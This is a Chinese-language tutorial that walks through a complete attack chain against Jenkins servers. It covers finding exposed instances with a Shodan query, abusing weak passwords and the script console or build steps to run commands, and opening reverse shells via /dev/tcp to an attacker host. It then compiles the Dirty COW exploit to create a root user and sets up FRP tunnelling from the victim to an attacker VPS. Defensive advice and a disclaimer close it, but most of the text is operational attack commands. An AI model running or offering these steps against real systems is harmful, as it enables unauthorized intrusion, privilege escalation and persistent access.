Jenkins脏牛漏洞FRP内网提权
字数 1676 2025-08-18 11:39:00
Jenkins脏牛漏洞利用与FRP内网提权技术分析
1. Jenkins简介与安全背景
Jenkins是一款基于Java开发的开源持续集成工具,运行在Servlet容器(如Apache Tomcat)中,能够执行基于Apache Ant和Apache Maven的项目,以及任意Shell脚本和Windows批处理命令。
安全现状:
- 互联网上部署的Jenkins服务器普遍存在弱口令问题
- 部分Jenkins应用甚至无需认证即可访问构建任务页面
- 默认配置下具有执行系统命令的能力
2. Jenkins命令执行漏洞利用
2.1 初始访问方式
- 通过弱口令登录(常见如admin/admin)
- 无需认证直接访问(部分配置不当的实例)
- Shodan搜索语法:
html:"Dashboard Jenkins" "X-Jenkins" "Set-Cookie: JSESSIONID" http.title:"Dashboard"
2.2 命令执行方法
方法一:通过"系统管理-脚本命令行"
- 路径:系统管理 → 脚本命令行
- 可执行Groovy脚本
- 注意:某些环境下反弹shell可能失败
方法二:通过项目构建执行Shell
- 新建任务 → 构建一个自由风格的软件项目
- 进入项目配置 → 构建 → 增加构建步骤 → 执行shell
- 输入恶意命令并保存
- 点击"立即构建"执行命令
2.3 反弹Shell技术
常用反弹Shell命令:
bash -i >& /dev/tcp/X.X.X.X/7777 0>&1
/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1
exec 5<>/dev/tcp/attackerip/7777;cat <&5 | while read line; do $line 2>&5 >&5; done
监听端命令:
nc -lvp 7777
3. 权限提升:脏牛(Dirty COW)漏洞利用
3.1 漏洞简介
脏牛漏洞(CVE-2016-5195)是Linux内核中的权限提升漏洞,影响2.6.22 <= 内核版本 < 4.8.3的系统。
3.2 利用步骤
-
检查内核版本:
uname -a确认版本在受影响范围内(如2.6.32)
-
下载利用代码:
wget https://github.com/FireFart/dirtycow -
编译利用程序:
gcc -pthread dirty.c -o dirty -lcrypt -
执行提权:
./dirty 新密码程序会创建一个具有root权限的新用户(默认用户名为firefart)
-
验证提权:
cat /etc/passwd确认新用户已添加到passwd文件中
4. 内网穿透:FRP工具使用
当遇到非TTY环境无法切换用户时,可通过内网穿透建立稳定连接。
4.1 FRP工具简介
FRP是一款高性能的反向代理应用,可用于内网穿透,支持TCP、UDP、HTTP、HTTPS等协议。
4.2 配置与使用
服务器端配置(攻击者VPS)
-
编辑frps.ini:
[common] bind_port = 7000 -
启动服务:
nohup ./frps -c ./frps.ini &
客户端配置(被攻击机器)
-
下载并编辑frpc.ini:
[common] server_addr = VPS_IP server_port = 7000 [ssh] type = tcp local_ip = 127.0.0.1 local_port = 22 remote_port = 6000 -
启动客户端:
nohup ./frpc -c ./frpc.ini &或使用screen保持会话:
screen -S frp ./frpc -c ./frpc.ini
连接方式
通过SSH连接VPS的6000端口即可访问内网机器:
ssh -p 6000 VPS_IP
5. 完整攻击链总结
- 发现并访问Jenkins实例(弱口令或未授权)
- 通过构建任务或脚本命令行执行系统命令
- 建立反弹Shell连接
- 检查系统内核版本,确认脏牛漏洞可利用性
- 下载、编译并执行脏牛漏洞利用程序
- 配置FRP内网穿透建立稳定连接
- 通过SSH使用提权后的凭证登录系统
6. 防御建议
-
Jenkins安全配置:
- 强制使用强密码认证
- 限制匿名用户权限
- 定期更新Jenkins版本
-
系统层面防护:
- 及时更新Linux内核补丁
- 限制非特权用户的命令执行能力
- 监控异常进程和网络连接
-
网络防护:
- 限制外网对Jenkins的访问
- 配置防火墙规则阻止异常出站连接
- 监控内网穿透工具的使用
-
审计与监控:
- 定期审计系统用户和权限配置
- 监控/etc/passwd等关键文件的修改
- 建立完善的日志收集和分析机制
附录:常用命令速查表
| 类别 | 命令 | 说明 |
|---|---|---|
| 信息收集 | uname -a |
查看内核版本 |
| 反弹Shell | bash -i >& /dev/tcp/IP/PORT 0>&1 |
标准反弹Shell |
| 提权检查 | cat /etc/passwd |
查看用户列表 |
| 网络工具 | nc -lvp PORT |
监听端口 |
| 进程保持 | nohup command & |
后台运行命令 |
| 会话管理 | screen -S name |
创建持久会话 |
注意:本文仅用于技术研究和防御目的,未经授权对他人系统进行测试属于违法行为。